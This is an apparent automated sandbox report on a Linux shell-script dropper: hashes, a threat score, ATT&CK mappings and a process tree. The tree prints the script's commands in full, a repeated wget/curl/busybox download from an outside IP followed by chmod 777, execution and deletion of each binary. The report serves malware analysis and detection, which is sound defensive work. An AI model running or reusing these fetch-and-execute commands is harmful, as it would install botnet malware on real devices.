39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/11/2024, 09:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
Size 10KB
Sample241112-lref4ssrbm
SHA256 39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87
MD5 fd711d12715626060b484e86edd2898c
SHA1 e0d5e608d178e2d258e3d8f5f49b6f16eaa8addb
SHA512 541b61ac6b30943cd86da6f6926828f09c16b51c92d3cf0fd139d47f8dd40865d48fb7e28d33a9a4d8feb81dd9187d01a546b79406e3224d766d4ce32359c344
SSDEEP 192:8CyC1xoHr6r2rur/rPrmh3vJWitMh/Pf62/tDUAojDNUaawTvLUAojDuaawTv8+3:8Hmq6bzqFMh/Pf62VDUAojDNpUAojDnD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
836	chmod
842	chmod
854	chmod
860	chmod
867	chmod
728	chmod
812	chmod
824	chmod
818	chmod
830	chmod
848	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN	729	E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
/tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62	813	Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
/tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI	819	Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
/tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f	825	ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
/tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz	831	Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
/tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM	837	sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
/tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv	843	0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
/tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF	849	AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
/tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV	855	5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	861	pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	868	FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w

Reads runtime system information 11 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62	curl
File opened for modification	/tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI	curl
File opened for modification	/tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f	curl
File opened for modification	/tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF	curl
File opened for modification	/tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV	curl
File opened for modification	/tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN	curl
File opened for modification	/tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz	curl
File opened for modification	/tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM	curl
File opened for modification	/tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv	curl
File opened for modification	/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	curl
File opened for modification	/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	curl

/tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
/tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:727
- /bin/chmod
  chmod 777 E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  ./E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:730
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:811
- /bin/chmod
  chmod 777 Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  ./Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:817
- /bin/chmod
  chmod 777 Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  ./Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:823
- /bin/chmod
  chmod 777 ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  ./ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:829
- /bin/chmod
  chmod 777 Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  ./Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:835
- /bin/chmod
  chmod 777 sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  ./sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:841
- /bin/chmod
  chmod 777 0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  ./0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm 0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:844
- /usr/bin/wget
  wget http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:847
- /bin/chmod
  chmod 777 AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  ./AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:850
- /usr/bin/wget
  wget http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:853
- /bin/chmod
  chmod 777 5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  ./5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm 5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:856
- /usr/bin/wget
  wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:859
- /bin/chmod
  chmod 777 pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  ./pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:866
- /bin/chmod
  chmod 777 FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  ./FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  PID:870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN

Path /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download